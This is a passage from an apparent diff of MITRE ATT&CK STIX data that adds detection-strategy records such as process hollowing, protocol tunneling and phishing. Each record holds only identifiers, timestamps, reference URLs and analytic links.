15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0432", + "external_id": "DET0432" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dba3fe8d-6080-4efe-9b93-6eda138ac771" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8d407bff-f721-4b74-a593-1e55c14c5263", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0575", + "external_id": "DET0575" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Netsh Helper DLL Persistence via Registry and Child Process Monitoring (Windows)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5ca1b37f-31c9-414b-9a31-9f80f553c44a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--218a24ca-9534-44e2-9282-fb08373e7845", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0163", + "external_id": "DET0163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Network Address Translation Traversal", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--72033f2d-a943-40be-862c-051317ec541c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f0f7aa93-71bc-4c55-9f96-9c74a7d45a83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0006", + "external_id": "DET0006" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Network Boundary Bridging", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--32d56b42-ff83-46d2-aeea-57a6958d3e83" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f3bc6ce9-29ad-4ad4-813c-1a4176b5c7a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0233", + "external_id": "DET0233" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Network Device Configuration Dump via Config Repositories", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--58e73108-657e-42ce-8dad-4edc968a2b20" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--49505f6d-b778-4a84-a072-9236b700e7b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0314", + "external_id": "DET0314" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Network Sniffing Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b3579b0f-7daf-40bd-af1c-f5cd020942e6", + "x-mitre-analytic--01ef3337-0585-4eaa-acb2-df363f7d5463", + "x-mitre-analytic--31098e90-e2a0-477f-80ca-e969430d54c2", + "x-mitre-analytic--4c4941eb-b087-4710-8c88-ff537c2309ff", + "x-mitre-analytic--25403649-ce66-4fb0-9957-8c319b10e9d7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cc8324a7-03d0-47d1-8e2b-3caec44fc129", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0227", + "external_id": "DET0227" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Non-Standard Ports", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9ea7f21e-700f-4900-a1d4-dfc171d399fe", + "x-mitre-analytic--dba32c3a-1ae7-46a4-9b04-d011f37aa801", + "x-mitre-analytic--785c44d0-7e5b-4d3e-a3cd-0c5e96b8891b", + "x-mitre-analytic--4e3afe58-e384-4b9e-9137-adaa0bac72af" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9c2a1b83-eec8-4d0c-a0b5-e5b561dbd68f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0553", + "external_id": "DET0553" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Obfuscated Files or Information: Binary Padding", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f9079cb0-76ff-4b4a-a73c-4f6572e7eef5", + "x-mitre-analytic--5523b4ab-42b1-480a-854b-819879905f8d", + "x-mitre-analytic--d27caeb7-7af2-4a55-9dcb-734730c0ccf1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8f268381-938f-454e-8d19-f266b69958ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0164", + "external_id": "DET0164" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Overwritten Process Arguments Masquerading", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--10d8886b-6cf6-45af-b187-04541e2ffaa4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ca16d7e8-77f3-4d0c-88a3-31696224ed67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0469", + "external_id": "DET0469" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Patch System Image on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bf64c48c-5834-426c-be21-6db0efbc7909" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7ee73f2e-76b2-4f00-bcc0-7fb79d31d344", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0070", + "external_id": "DET0070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Phishing across platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5ea048cd-f1d5-4da2-9128-10c53ee337c8", + "x-mitre-analytic--c5fe5b29-c56f-4c40-b880-051ec6644600", + "x-mitre-analytic--2a0cc1a9-db3b-4f05-8c85-29d69507418b", + "x-mitre-analytic--46ecb875-0842-4171-bb36-9b361453a89f", + "x-mitre-analytic--09df0b88-e1ae-4a1e-86c4-8bb00e79baed", + "x-mitre-analytic--4da63d13-d9bb-41c6-88c8-31bc9f2579fb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0548423e-c893-4474-9e5d-7fdd7c2a0a71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0109", + "external_id": "DET0109" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Plist File Modification (T1647)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--481966ed-de78-42e4-9c51-c69281a21650" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cad3cfb6-1838-4fa3-abfc-aa590f613436", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0533", + "external_id": "DET0533" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Poisoned Pipeline Execution via SaaS CI/CD Workflows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0391c880-fcb3-457f-b625-18f9453659b8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--380da3b2-d92f-4361-b187-cedc8a118e0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0324", + "external_id": "DET0324" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Polymorphic Code Mutation and Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--786c54fa-8a9f-41bc-aa22-c4a4f6a93bd7", + "x-mitre-analytic--6ed3efbf-c060-4c7f-8d8b-0e93f65a0790", + "x-mitre-analytic--8fba0b53-2aca-4cca-8856-714e0f05665b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--40701244-5af5-477f-a9a7-ba661907f318", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0417", + "external_id": "DET0417" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Power Settings Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3234a537-0ad5-449f-87f4-25fd949c97e7", + "x-mitre-analytic--e3bbe2c4-615d-4847-93dc-b5857fc1b384", + "x-mitre-analytic--101d4e7f-4282-4fea-89be-e17d97ca0b91" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f31ad178-1f54-41a6-b286-8040e7eb7158", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0451", + "external_id": "DET0451" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--298d1a46-ec12-4cd2-acce-7e0f849c384d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--276ac500-e134-4852-96cd-8aa899ad0c7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0045", + "external_id": "DET0045" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Process Argument Spoofing on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--84ad99e5-4e6e-4d07-93ae-9e55e6f99707" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8373cca7-feb8-44e4-94d0-fc39ea3586d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0544", + "external_id": "DET0544" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Process Doppelg\u00e4nging on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--37d6450b-6c90-48dd-b69d-161099913851" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8e003575-5a6f-458d-be35-a8606c9b7dea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0382", + "external_id": "DET0382" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Process Hollowing on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bcb01d01-66f6-47bb-9ca1-46b4ce686ad4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fff8e15e-f7eb-4c07-8b77-8e7ef2eb01b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0538", + "external_id": "DET0538" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Protocol Tunneling accross OS platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--64c6aa46-a824-4c8e-8462-d0a58b78acfb", + "x-mitre-analytic--5acd81f3-466a-472d-bb1f-9bda231ac4c0", + "x-mitre-analytic--359ab8ab-f306-4e67-8ff4-f8e1c8ec7db3", + "x-mitre-analytic--7f128f2c-5b38-4088-9026-e251237f8add" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c2768ab6-522f-4b88-b3f7-a30230208ceb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0203", + "external_id": "DET0203" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Ptrace-Based Process Injection on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d9bcfaee-d2d1-4673-b834-5c219f8dba9b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--20f5a44b-e9bb-48e9-9bea-e7a3d757005f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0408", + "external_id": "DET0408" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Reflection Amplification DoS (T1498.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fdf11d76-3bd7-41c4-b117-7b0f17b31b17", + "x-mitre-analytic--eb7692b0-5592-4d23-ba06-fdded48a2a0d", + "x-mitre-analytic--44c2e32e-bd34-4ba9-8105-28c14309207c", + "x-mitre-analytic--08c69003-044c-46a5-b17a-7cb5b25f2d50" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dc415caf-2f8f-4208-8aa8-7db10729cbfb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0300", + "external_id": "DET0300" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Reflective Code Loading", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2432f5a3-ddae-4138-9981-f916ad23a1e1", + "x-mitre-analytic--cfdd2422-7e68-417a-9298-062bac59df0c", + "x-mitre-analytic--da7cf744-fc04-4b17-8a96-3140a4b349d6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9ec6dafe-3e93-4ebb-943e-26b84136f6a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0574", + "external_id": "DET0574" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Remote System Enumeration Behavior", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--498eb889-4468-4c55-9337-df219d5f142b", + "x-mitre-analytic--f794d2f4-ad8e-4e11-b374-2c35f8ca38e9", + "x-mitre-analytic--80c7f835-116d-4fa1-817a-08965efef16c", + "x-mitre-analytic--88041144-900d-4968-9e8a-8f1f63ae8417", + "x-mitre-analytic--aad71d3e-93b0-4cb6-8240-274369f8ad34" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0f320fd9-cf15-4fd6-bcb3-c3a52760fe88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0584", + "external_id": "DET0584" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Resource Forking on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--619804e7-5ae7-4c6e-b1bb-e1d10a22cc87" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9c36b7a8-22bb-4420-a8ac-8e46ddef5674", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0156", + "external_id": "DET0156" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Resource Hijacking: SMS Pumping via SaaS Application Logs", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5beb62fd-7dac-485f-828c-72cf151124a8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f012e122-9f78-4370-a481-d2efaa181359", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0276", + "external_id": "DET0276" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + 